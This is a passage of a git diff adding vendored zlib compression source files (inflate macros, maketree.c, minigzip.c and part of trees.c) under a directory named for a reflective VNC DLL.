pointer */ + Bytef *write; /* window write pointer */ + check_func checkfn; /* check function */ + uLong check; /* check on output */ + +}; + + +/* defines for inflate input/output */ +/* update pointers and return */ +#define UPDBITS {s->bitb=b;s->bitk=k;} +#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;} +#define UPDOUT {s->write=q;} +#define UPDATE {UPDBITS UPDIN UPDOUT} +#define LEAVE {UPDATE return inflate_flush(s,z,r);} +/* get bytes and bits */ +#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} +#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} +#define NEXTBYTE (n--,*p++) +#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} +/* output bytes */ +#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) +#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} +#define WRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} +#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} +#define NEEDOUT {if(m==0){WRAP if(m==0){FLUSH WRAP if(m==0) LEAVE}}r=Z_OK;} +#define OUTBYTE(a) {*q++=(Byte)(a);m--;} +/* load local pointers */ +#define LOAD {LOADIN LOADOUT} + +/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ +extern uInt inflate_mask[17]; + +/* copy as much as possible from the sliding window to the output area */ +extern int inflate_flush OF(( + inflate_blocks_statef *, + z_streamp , + int)); + +struct internal_state {int dummy;}; /* for buggy compilers */ + +#endif diff --git a/external/source/reflective_vncdll/zlib/maketree.c b/external/source/reflective_vncdll/zlib/maketree.c new file mode 100644 index 0000000000..c64de51e3f --- /dev/null +++ b/external/source/reflective_vncdll/zlib/maketree.c @@ -0,0 +1,85 @@ +/* maketree.c -- make inffixed.h table for decoding fixed codes + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* This program is included in the distribution for completeness. + You do not need to compile or run this program since inffixed.h + is already included in the distribution. To use this program + you need to compile zlib with BUILDFIXED defined and then compile + and link this program with the zlib library. Then the output of + this program can be piped to inffixed.h. */ + +#include +#include +#include "zutil.h" +#include "inftrees.h" + +/* simplify the use of the inflate_huft type with some defines */ +#define exop word.what.Exop +#define bits word.what.Bits + +/* generate initialization table for an inflate_huft structure array */ +void maketree(uInt b, inflate_huft *t) +{ + int i, e; + + i = 0; + while (1) + { + e = t[i].exop; + if (e && (e & (16+64)) == 0) /* table pointer */ + { + fprintf(stderr, "maketree: cannot initialize sub-tables!\n"); + exit(1); + } + if (i % 4 == 0) + printf("\n "); + printf(" {{{%u,%u}},%u}", t[i].exop, t[i].bits, t[i].base); + if (++i == (1< +#include "zlib.h" + +#ifdef STDC +# include +# include +#else + extern void exit OF((int)); +#endif + +#ifdef USE_MMAP +# include +# include +# include +#endif + +#if defined(MSDOS) || defined(OS2) || defined(WIN32) +# include +# include +# define SET_BINARY_MODE(file) setmode(fileno(file), O_BINARY) +#else +# define SET_BINARY_MODE(file) +#endif + +#ifdef VMS +# define unlink delete +# define GZ_SUFFIX "-gz" +#endif +#ifdef RISCOS +# define unlink remove +# define GZ_SUFFIX "-gz" +# define fileno(file) file->__file +#endif +#if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +# include /* for fileno */ +#endif + +#ifndef WIN32 /* unlink already in stdio.h for WIN32 */ + extern int unlink OF((const char *)); +#endif + +#ifndef GZ_SUFFIX +# define GZ_SUFFIX ".gz" +#endif +#define SUFFIX_LEN (sizeof(GZ_SUFFIX)-1) + +#define BUFLEN 16384 +#define MAX_NAME_LEN 1024 + +#ifdef MAXSEG_64K +# define local static + /* Needed for systems with limitation on stack size. */ +#else +# define local +#endif + +char *prog; + +void error OF((const char *msg)); +void gz_compress OF((FILE *in, gzFile out)); +#ifdef USE_MMAP +int gz_compress_mmap OF((FILE *in, gzFile out)); +#endif +void gz_uncompress OF((gzFile in, FILE *out)); +void file_compress OF((char *file, char *mode)); +void file_uncompress OF((char *file)); +int main OF((int argc, char *argv[])); + +/* =========================================================================== + * Display error message and exit + */ +void error(msg) + const char *msg; +{ + fprintf(stderr, "%s: %s\n", prog, msg); + exit(1); +} + +/* =========================================================================== + * Compress input to output then close both files. + */ + +void gz_compress(in, out) + FILE *in; + gzFile out; +{ + local char buf[BUFLEN]; + int len; + int err; + +#ifdef USE_MMAP + /* Try first compressing with mmap. If mmap fails (minigzip used in a + * pipe), use the normal fread loop. + */ + if (gz_compress_mmap(in, out) == Z_OK) return; +#endif + for (;;) { + len = fread(buf, 1, sizeof(buf), in); + if (ferror(in)) { + perror("fread"); + exit(1); + } + if (len == 0) break; + + if (gzwrite(out, buf, (unsigned)len) != len) error(gzerror(out, &err)); + } + fclose(in); + if (gzclose(out) != Z_OK) error("failed gzclose"); +} + +#ifdef USE_MMAP /* MMAP version, Miguel Albrecht */ + +/* Try compressing the input file at once using mmap. Return Z_OK if + * if success, Z_ERRNO otherwise. + */ +int gz_compress_mmap(in, out) + FILE *in; + gzFile out; +{ + int len; + int err; + int ifd = fileno(in); + caddr_t buf; /* mmap'ed buffer for the entire input file */ + off_t buf_len; /* length of the input file */ + struct stat sb; + + /* Determine the size of the file, needed for mmap: */ + if (fstat(ifd, &sb) < 0) return Z_ERRNO; + buf_len = sb.st_size; + if (buf_len <= 0) return Z_ERRNO; + + /* Now do the actual mmap: */ + buf = mmap((caddr_t) 0, buf_len, PROT_READ, MAP_SHARED, ifd, (off_t)0); + if (buf == (caddr_t)(-1)) return Z_ERRNO; + + /* Compress the whole file at once: */ + len = gzwrite(out, (char *)buf, (unsigned)buf_len); + + if (len != (int)buf_len) error(gzerror(out, &err)); + + munmap(buf, buf_len); + fclose(in); + if (gzclose(out) != Z_OK) error("failed gzclose"); + return Z_OK; +} +#endif /* USE_MMAP */ + +/* =========================================================================== + * Uncompress input to output then close both files. + */ +void gz_uncompress(in, out) + gzFile in; + FILE *out; +{ + local char buf[BUFLEN]; + int len; + int err; + + for (;;) { + len = gzread(in, buf, sizeof(buf)); + if (len < 0) error (gzerror(in, &err)); + if (len == 0) break; + + if ((int)fwrite(buf, 1, (unsigned)len, out) != len) { + error("failed fwrite"); + } + } + if (fclose(out)) error("failed fclose"); + + if (gzclose(in) != Z_OK) error("failed gzclose"); +} + + +/* =========================================================================== + * Compress the given file: create a corresponding .gz file and remove the + * original. + */ +void file_compress(file, mode) + char *file; + char *mode; +{ + local char outfile[MAX_NAME_LEN]; + FILE *in; + gzFile out; + + strcpy(outfile, file); + strcat(outfile, GZ_SUFFIX); + + in = fopen(file, "rb"); + if (in == NULL) { + perror(file); + exit(1); + } + out = gzopen(outfile, mode); + if (out == NULL) { + fprintf(stderr, "%s: can't gzopen %s\n", prog, outfile); + exit(1); + } + gz_compress(in, out); + + unlink(file); +} + + +/* =========================================================================== + * Uncompress the given file and remove the original. + */ +void file_uncompress(file) + char *file; +{ + local char buf[MAX_NAME_LEN]; + char *infile, *outfile; + FILE *out; + gzFile in; + int len = strlen(file); + + strcpy(buf, file); + + if (len > SUFFIX_LEN && strcmp(file+len-SUFFIX_LEN, GZ_SUFFIX) == 0) { + infile = file; + outfile = buf; + outfile[len-3] = '\0'; + } else { + outfile = file; + infile = buf; + strcat(infile, GZ_SUFFIX); + } + in = gzopen(infile, "rb"); + if (in == NULL) { + fprintf(stderr, "%s: can't gzopen %s\n", prog, infile); + exit(1); + } + out = fopen(outfile, "wb"); + if (out == NULL) { + perror(file); + exit(1); + } + + gz_uncompress(in, out); + + unlink(infile); +} + + +/* =========================================================================== + * Usage: minigzip [-d] [-f] [-h] [-1 to -9] [files...] + * -d : decompress + * -f : compress with Z_FILTERED + * -h : compress with Z_HUFFMAN_ONLY + * -1 to -9 : compression level + */ + +int main(argc, argv) + int argc; + char *argv[]; +{ + int uncompr = 0; + gzFile file; + char outmode[20]; + + strcpy(outmode, "wb6 "); + + prog = argv[0]; + argc--, argv++; + + while (argc > 0) { + if (strcmp(*argv, "-d") == 0) + uncompr = 1; + else if (strcmp(*argv, "-f") == 0) + outmode[3] = 'f'; + else if (strcmp(*argv, "-h") == 0) + outmode[3] = 'h'; + else if ((*argv)[0] == '-' && (*argv)[1] >= '1' && (*argv)[1] <= '9' && + (*argv)[2] == 0) + outmode[2] = (*argv)[1]; + else + break; + argc--, argv++; + } + if (argc == 0) { + SET_BINARY_MODE(stdin); + SET_BINARY_MODE(stdout); + if (uncompr) { + file = gzdopen(fileno(stdin), "rb"); + if (file == NULL) error("can't gzdopen stdin"); + gz_uncompress(file, stdout); + } else { + file = gzdopen(fileno(stdout), outmode); + if (file == NULL) error("can't gzdopen stdout"); + gz_compress(stdin, file); + } + } else { + do { + if (uncompr) { + file_uncompress(*argv); + } else { + file_compress(*argv, outmode); + } + } while (argv++, --argc); + } + exit(0); + return 0; /* to avoid warning */ +} diff --git a/external/source/reflective_vncdll/zlib/trees.c b/external/source/reflective_vncdll/zlib/trees.c new file mode 100644 index 0000000000..a102f03b79 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/trees.c @@ -0,0 +1,1214 @@ +/* trees.c -- output deflated data using Huffman coding + * Copyright (C) 1995-2002 Jean-loup Gailly + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* + * ALGORITHM + * + * The "deflation" process uses several Huffman trees. The more + * common source values are represented by shorter bit sequences. + * + * Each code tree is stored in a compressed form which is itself + * a Huffman encoding of the lengths of all the code strings (in + * ascending order by source values). The actual code strings are + * reconstructed from the lengths in the inflate process, as described + * in the deflate specification. + * + * REFERENCES + * + * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". + * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc + * + * Storer, James A. + * Data Compression: Methods and Theory, pp. 49-50. + * Computer Science Press, 1988. ISBN 0-7167-8156-5. + * + * Sedgewick, R. + * Algorithms, p290. + * Addison-Wesley, 1983. ISBN 0-201-06672-6. + */ + +/* @(#) $Id: trees.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +/* #define GEN_TREES_H */ + +#include "deflate.h" + +#ifdef DEBUG +# include +#endif + +/* =========================================================================== + * Constants + */ + +#define MAX_BL_BITS 7 +/* Bit length codes must not exceed MAX_BL_BITS bits */ + +#define END_BLOCK 256 +/* end of block literal code */ + +#define REP_3_6 16 +/* repeat previous bit length 3-6 times (2 bits of repeat count) */ + +#define REPZ_3_10 17 +/* repeat a zero length 3-10 times (3 bits of repeat count) */ + +#define REPZ_11_138 18 +/* repeat a zero length 11-138 times (7 bits of repeat count) */ + +local const int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ + = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; + +local const int extra_dbits[D_CODES] /* extra bits for each distance code */ + = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; + +local const int extra_blbits[BL_CODES]/* extra bits for each bit length code */ + = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; + +local const uch bl_order[BL_CODES] + = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; +/* The lengths of the bit length codes are sent in order of decreasing + * probability, to avoid transmitting the lengths for unused bit length codes. + */ + +#define Buf_size (8 * 2*sizeof(char)) +/* Number of bits used within bi_buf. (bi_buf might be implemented on + * more than 16 bits on some systems.) + */ + +/* =========================================================================== + * Local data. These are initialized only once. + */ + +#define DIST_CODE_LEN 512 /* see definition of array dist_code below */ + +#if defined(GEN_TREES_H) || !defined(STDC) +/* non ANSI compilers may not accept trees.h */ + +local ct_data static_ltree[L_CODES+2]; +/* The static literal tree. Since the bit lengths are imposed, there is no + * need for the L_CODES extra codes used during heap construction. However + * The codes 286 and 287 are needed to build a canonical tree (see _tr_init + * below). + */ + +local ct_data static_dtree[D_CODES]; +/* The static distance tree. (Actually a trivial tree since all codes use + * 5 bits.) + */ + +uch _dist_code[DIST_CODE_LEN]; +/* Distance codes. The first 256 values correspond to the distances + * 3 .. 258, the last 256 values correspond to the top 8 bits of + * the 15 bit distances. + */ + +uch _length_code[MAX_MATCH-MIN_MATCH+1]; +/* length code for each normalized match length (0 == MIN_MATCH) */ + +local int base_length[LENGTH_CODES]; +/* First normalized length for each code (0 = MIN_MATCH) */ + +local int base_dist[D_CODES]; +/* First normalized distance for each code (0 = distance of 1) */ + +#else +# include "trees.h" +#endif /* GEN_TREES_H */ + +struct static_tree_desc_s { + const ct_data *static_tree; /* static tree or NULL */ + const intf *extra_bits; /* extra bits for each code or NULL */ + int extra_base; /* base index for extra_bits */ + int elems; /* max number of elements in the tree */ + int max_length; /* max bit length for the codes */ +}; + +local static_tree_desc static_l_desc = +{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; + +local static_tree_desc static_d_desc = +{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; + +local static_tree_desc static_bl_desc = +{(const ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; + +/* =========================================================================== + * Local (static) routines in this file. + */ + +local void tr_static_init OF((void)); +local void init_block OF((deflate_state *s)); +local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); +local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); +local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); +local void build_tree OF((deflate_state *s, tree_desc *desc)); +local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); +local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); +local int build_bl_tree OF((deflate_state *s)); +local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes, + int blcodes)); +local void compress_block OF((deflate_state *s, ct_data *ltree, + ct_data *dtree)); +local void set_data_type OF((deflate_state *s)); +local unsigned bi_reverse OF((unsigned value, int length)); +local void bi_windup OF((deflate_state *s)); +local void bi_flush OF((deflate_state *s)); +local void copy_block OF((deflate_state *s, charf *buf, unsigned len, + int header)); + +#ifdef GEN_TREES_H +local void gen_trees_header OF((void)); +#endif + +#ifndef DEBUG +# define send_code(s, c, tree) send_bits(s, tree[c].Code, tree[c].Len) + /* Send a code of the given tree. c and tree must not have side effects */ + +#else /* DEBUG */ +# define send_code(s, c, tree) \ + { if (z_verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ + send_bits(s, tree[c].Code, tree[c].Len); } +#endif + +/* =========================================================================== + * Output a short LSB first on the stream. + * IN assertion: there is enough room in pendingBuf. + */ +#define put_short(s, w) { \ + put_byte(s, (uch)((w) & 0xff)); \ + put_byte(s, (uch)((ush)(w) >> 8)); \ +} + +/* =========================================================================== + * Send a value on a given number of bits. + * IN assertion: length <= 16 and value fits in length bits. + */ +#ifdef DEBUG +local void send_bits OF((deflate_state *s, int value, int length)); + +local void send_bits(s, value, length) + deflate_state *s; + int value; /* value to send */ + int length; /* number of bits */ +{ + Tracevv((stderr," l %2d v %4x ", length, value)); + Assert(length > 0 && length <= 15, "invalid length"); + s->bits_sent += (ulg)length; + + /* If not enough room in bi_buf, use (valid) bits from bi_buf and + * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) + * unused bits in value. + */ + if (s->bi_valid > (int)Buf_size - length) { + s->bi_buf |= (value << s->bi_valid); + put_short(s, s->bi_buf); + s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); + s->bi_valid += length - Buf_size; + } else { + s->bi_buf |= value << s->bi_valid; + s->bi_valid += length; + } +} +#else /* !DEBUG */ + +#define send_bits(s, value, length) \ +{ int len = length;\ + if (s->bi_valid > (int)Buf_size - len) {\ + int val = value;\ + s->bi_buf |= (val << s->bi_valid);\ + put_short(s, s->bi_buf);\ + s->bi_buf = (ush)val >> (Buf_size - s->bi_valid);\ + s->bi_valid += len - Buf_size;\ + } else {\ + s->bi_buf |= (value) << s->bi_valid;\ + s->bi_valid += len;\ + }\ +} +#endif /* DEBUG */ + + +#define MAX(a,b) (a >= b ? a : b) +/* the arguments must not have side effects */ + +/* =========================================================================== + * Initialize the various 'constant' tables. + */ +local void tr_static_init() +{ +#if defined(GEN_TREES_H) || !defined(STDC) + static int static_init_done = 0; + int n; /* iterates over tree elements */ + int bits; /* bit counter */ + int length; /* length value */ + int code; /* code value */ + int dist; /* distance index */ + ush bl_count[MAX_BITS+1]; + /* number of codes at each bit length for an optimal tree */ + + if (static_init_done) return; + + /* For some embedded targets, global variables are not initialized: */ + static_l_desc.static_tree = static_ltree; + static_l_desc.extra_bits = extra_lbits; + static_d_desc.static_tree = static_dtree; + static_d_desc.extra_bits = extra_dbits; + static_bl_desc.extra_bits = extra_blbits; + + /* Initialize the mapping length (0..255) -> length code (0..28) */ + length = 0; + for (code = 0; code < LENGTH_CODES-1; code++) { + base_length[code] = length; + for (n = 0; n < (1< dist code (0..29) */ + dist = 0; + for (code = 0 ; code < 16; code++) { + base_dist[code] = dist; + for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ + for ( ; code < D_CODES; code++) { + base_dist[code] = dist << 7; + for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { + _dist_code[256 + dist++] = (uch)code; + } + } + Assert (dist == 256, "tr_static_init: 256+dist != 512"); + + /* Construct the codes of the static literal tree */ + for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; + n = 0; + while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; + while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; + while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; + while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; + /* Codes 286 and 287 do not exist, but we must include them in the + * tree construction to get a canonical Huffman tree (longest code + * all ones) + */ + gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); + + /* The static distance tree is trivial: */ + for (n = 0; n < D_CODES; n++) { + static_dtree[n].Len = 5; + static_dtree[n].Code = bi_reverse((unsigned)n, 5); + } + static_init_done = 1; + +# ifdef GEN_TREES_H + gen_trees_header(); +# endif +#endif /* defined(GEN_TREES_H) || !defined(STDC) */ +} + +/* =========================================================================== + * Genererate the file trees.h describing the static trees. + */ +#ifdef GEN_TREES_H +# ifndef DEBUG +# include +# endif + +# define SEPARATOR(i, last, width) \ + ((i) == (last)? "\n};\n\n" : \ + ((i) % (width) == (width)-1 ? ",\n" : ", ")) + +void gen_trees_header() +{ + FILE *header = fopen("trees.h", "w"); + int i; + + Assert (header != NULL, "Can't open trees.h"); + fprintf(header, + "/* header created automatically with -DGEN_TREES_H */\n\n"); + + fprintf(header, "local const ct_data static_ltree[L_CODES+2] = {\n"); + for (i = 0; i < L_CODES+2; i++) { + fprintf(header, "{{%3u},{%3u}}%s", static_ltree[i].Code, + static_ltree[i].Len, SEPARATOR(i, L_CODES+1, 5)); + } + + fprintf(header, "local const ct_data static_dtree[D_CODES] = {\n"); + for (i = 0; i < D_CODES; i++) { + fprintf(header, "{{%2u},{%2u}}%s", static_dtree[i].Code, + static_dtree[i].Len, SEPARATOR(i, D_CODES-1, 5)); + } + + fprintf(header, "const uch _dist_code[DIST_CODE_LEN] = {\n"); + for (i = 0; i < DIST_CODE_LEN; i++) { + fprintf(header, "%2u%s", _dist_code[i], + SEPARATOR(i, DIST_CODE_LEN-1, 20)); + } + + fprintf(header, "const uch _length_code[MAX_MATCH-MIN_MATCH+1]= {\n"); + for (i = 0; i < MAX_MATCH-MIN_MATCH+1; i++) { + fprintf(header, "%2u%s", _length_code[i], + SEPARATOR(i, MAX_MATCH-MIN_MATCH, 20)); + } + + fprintf(header, "local const int base_length[LENGTH_CODES] = {\n"); + for (i = 0; i < LENGTH_CODES; i++) { + fprintf(header, "%1u%s", base_length[i], + SEPARATOR(i, LENGTH_CODES-1, 20)); + } + + fprintf(header, "local const int base_dist[D_CODES] = {\n"); + for (i = 0; i < D_CODES; i++) { + fprintf(header, "%5u%s", base_dist[i], + SEPARATOR(i, D_CODES-1, 10)); + } + + fclose(header); +} +#endif /* GEN_TREES_H */ + +/* =========================================================================== + * Initialize the tree data structures for a new zlib stream. + */ +void _tr_init(s) + deflate_state *s; +{ + tr_static_init(); + + s->l_desc.dyn_tree = s->dyn_ltree; + s->l_desc.stat_desc = &static_l_desc; + + s->d_desc.dyn_tree = s->dyn_dtree; + s->d_desc.stat_desc = &static_d_desc; + + s->bl_desc.dyn_tree = s->bl_tree; + s->bl_desc.stat_desc = &static_bl_desc; + + s->bi_buf = 0; + s->bi_valid = 0; + s->last_eob_len = 8; /* enough lookahead for inflate */ +#ifdef DEBUG + s->compressed_len = 0L; + s->bits_sent = 0L; +#endif + + /* Initialize the first block of the first file: */ + init_block(s); +} + +/* =========================================================================== + * Initialize a new block. + */ +local void init_block(s) + deflate_state *s; +{ + int n; /* iterates over tree elements */ + + /* Initialize the trees. */ + for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; + for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; + for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; + + s->dyn_ltree[END_BLOCK].Freq = 1; + s->opt_len = s->static_len = 0L; + s->last_lit = s->matches = 0; +} + +#define SMALLEST 1 +/* Index within the heap array of least frequent node in the Huffman tree */ + + +/* =========================================================================== + * Remove the smallest element from the heap and recreate the heap with + * one less element. Updates heap and heap_len. + */ +#define pqremove(s, tree, top) \ +{\ + top = s->heap[SMALLEST]; \ + s->heap[SMALLEST] = s->heap[s->heap_len--]; \ + pqdownheap(s, tree, SMALLEST); \ +} + +/* =========================================================================== + * Compares to subtrees, using the tree depth as tie breaker when + * the subtrees have equal frequency. This minimizes the worst case length. + */ +#define smaller(tree, n, m, depth) \ + (tree[n].Freq < tree[m].Freq || \ + (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) + +/* =========================================================================== + * Restore the heap property by moving down the tree starting at node k, + * exchanging a node with the smallest of its two sons if necessary, stopping + * when the heap property is re-established (each father smaller than its + * two sons). + */ +local void pqdownheap(s, tree, k) + deflate_state *s; + ct_data *tree; /* the tree to restore */ + int k; /* node to move down */ +{ + int v = s->heap[k]; + int j = k << 1; /* left son of k */ + while (j <= s->heap_len) { + /* Set j to the smallest of the two sons: */ + if (j < s->heap_len && + smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { + j++; + } + /* Exit if v is smaller than both sons */ + if (smaller(tree, v, s->heap[j], s->depth)) break; + + /* Exchange v with the smallest son */ + s->heap[k] = s->heap[j]; k = j; + + /* And continue down the tree, setting j to the left son of k */ + j <<= 1; + } + s->heap[k] = v; +} + +/* =========================================================================== + * Compute the optimal bit lengths for a tree and update the total bit length + * for the current block. + * IN assertion: the fields freq and dad are set, heap[heap_max] and + * above are the tree nodes sorted by increasing frequency. + * OUT assertions: the field len is set to the optimal bit length, the + * array bl_count contains the frequencies for each bit length. + * The length opt_len is updated; static_len is also updated if stree is + * not null. + */ +local void gen_bitlen(s, desc) + deflate_state *s; + tree_desc *desc; /* the tree descriptor */ +{ + ct_data *tree = desc->dyn_tree; + int max_code = desc->max_code; + const ct_data *stree = desc->stat_desc->static_tree; + const intf *extra = desc->stat_desc->extra_bits; + int base = desc->stat_desc->extra_base; + int max_length = desc->stat_desc->max_length; + int h; /* heap index */ + int n, m; /* iterate over the tree elements */ + int bits; /* bit length */ + int xbits; /* extra bits */ + ush f; /* frequency */ + int overflow = 0; /* number of elements with bit length too large */ + + for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; + + /* In a first pass, compute the optimal bit lengths (which may + * overflow in the case of the bit length tree). + */ + tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ + + for (h = s->heap_max+1; h < HEAP_SIZE; h++) { + n = s->heap[h]; + bits = tree[tree[n].Dad].Len + 1; + if (bits > max_length) bits = max_length, overflow++; + tree[n].Len = (ush)bits; + /* We overwrite tree[n].Dad which is no longer needed */ + + if (n > max_code) continue; /* not a leaf node */ + + s->bl_count[bits]++; + xbits = 0; + if (n >= base) xbits = extra[n-base]; + f = tree[n].Freq; + s->opt_len += (ulg)f * (bits + xbits); + if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); + } + if (overflow == 0) return; + + Trace((stderr,"\nbit length overflow\n")); + /* This happens for example on obj2 and pic of the Calgary corpus */ + + /* Find the first bit length which could increase: */ + do { + bits = max_length-1; + while (s->bl_count[bits] == 0) bits--; + s->bl_count[bits]--; /* move one leaf down the tree */ + s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ + s->bl_count[max_length]--; + /* The brother of the overflow item also moves one step up, + * but this does not affect bl_count[max_length] + */ + overflow -= 2; + } while (overflow > 0); + + /* Now recompute all bit lengths, scanning in increasing frequency. + * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all + * lengths instead of fixing only the wrong ones. This idea is taken + * from 'ar' written by Haruhiko Okumura.) + */ + for (bits = max_length; bits != 0; bits--) { + n = s->bl_count[bits]; + while (n != 0) { + m = s->heap[--h]; + if (m > max_code) continue; + if (tree[m].Len != (unsigned) bits) { + Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); + s->opt_len += ((long)bits - (long)tree[m].Len) + *(long)tree[m].Freq; + tree[m].Len = (ush)bits; + } + n--; + } + } +} + +/* =========================================================================== + * Generate the codes for a given tree and bit counts (which need not be + * optimal). + * IN assertion: the array bl_count contains the bit length statistics for + * the given tree and the field len is set for all tree elements. + * OUT assertion: the field code is set for all tree elements of non + * zero code length. + */ +local void gen_codes (tree, max_code, bl_count) + ct_data *tree; /* the tree to decorate */ + int max_code; /* largest code with non zero frequency */ + ushf *bl_count; /* number of codes at each bit length */ +{ + ush next_code[MAX_BITS+1]; /* next code value for each bit length */ + ush code = 0; /* running code value */ + int bits; /* bit index */ + int n; /* code index */ + + /* The distribution counts are first used to generate the code values + * without bit reversal. + */ + for (bits = 1; bits <= MAX_BITS; bits++) { + next_code[bits] = code = (code + bl_count[bits-1]) << 1; + } + /* Check that the bit counts in bl_count are consistent. The last code + * must be all ones. + */ + Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; + const ct_data *stree = desc->stat_desc->static_tree; + int elems = desc->stat_desc->elems; + int n, m; /* iterate over heap elements */ + int max_code = -1; /* largest code with non zero frequency */ + int node; /* new node being created */ + + /* Construct the initial heap, with least frequent element in + * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. + * heap[0] is not used. + */ + s->heap_len = 0, s->heap_max = HEAP_SIZE; + + for (n = 0; n < elems; n++) { + if (tree[n].Freq != 0) { + s->heap[++(s->heap_len)] = max_code = n; + s->depth[n] = 0; + } else { + tree[n].Len = 0; + } + } + + /* The pkzip format requires that at least one distance code exists, + * and that at least one bit should be sent even if there is only one + * possible code. So to avoid special checks later on we force at least + * two codes of non zero frequency. + */ + while (s->heap_len < 2) { + node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); + tree[node].Freq = 1; + s->depth[node] = 0; + s->opt_len--; if (stree) s->static_len -= stree[node].Len; + /* node is 0 or 1 so it does not have extra bits */ + } + desc->max_code = max_code; + + /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, + * establish sub-heaps of increasing lengths: + */ + for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); + + /* Construct the Huffman tree by repeatedly combining the least two + * frequent nodes. + */ + node = elems; /* next internal node of the tree */ + do { + pqremove(s, tree, n); /* n = node of least frequency */ + m = s->heap[SMALLEST]; /* m = node of next least frequency */ + + s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ + s->heap[--(s->heap_max)] = m; + + /* Create a new node father of n and m */ + tree[node].Freq = tree[n].Freq + tree[m].Freq; + s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); + tree[n].Dad = tree[m].Dad = (ush)node; +#ifdef DUMP_BL_TREE + if (tree == s->bl_tree) { + fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", + node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); + } +#endif + /* and insert the new node in the heap */ + s->heap[SMALLEST] = node++; + pqdownheap(s, tree, SMALLEST); + + } while (s->heap_len >= 2); + + s->heap[--(s->heap_max)] = s->heap[SMALLEST]; + + /* At this point, the fields freq and dad are set. We can now + * generate the bit lengths. + */ + gen_bitlen(s, (tree_desc *)desc); + + /* The field len is now set, we can generate the bit codes */ + gen_codes ((ct_data *)tree, max_code, s->bl_count); +} + +/* =========================================================================== + * Scan a literal or distance tree to determine the frequencies of the codes + * in the bit length tree. + */ +local void scan_tree (s, tree, max_code) + deflate_state *s; + ct_data *tree; /* the tree to be scanned */ + int max_code; /* and its largest code of non zero frequency */ +{ + int n; /* iterates over all tree elements */ + int prevlen = -1; /* last emitted length */ + int curlen; /* length of current code */ + int nextlen = tree[0].Len; /* length of next code */ + int count = 0; /* repeat count of the current code */ + int max_count = 7; /* max repeat count */ + int min_count = 4; /* min repeat count */ + + if (nextlen == 0) max_count = 138, min_count = 3; + tree[max_code+1].Len = (ush)0xffff; /* guard */ + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; nextlen = tree[n+1].Len; + if (++count < max_count && curlen == nextlen) { + continue; + } else if (count < min_count) { + s->bl_tree[curlen].Freq += count; + } else if (curlen != 0) { + if (curlen != prevlen) s->bl_tree[curlen].Freq++; + s->bl_tree[REP_3_6].Freq++; + } else if (count <= 10) { + s->bl_tree[REPZ_3_10].Freq++; + } else { + s->bl_tree[REPZ_11_138].Freq++; + } + count = 0; prevlen = curlen; + if (nextlen == 0) { + max_count = 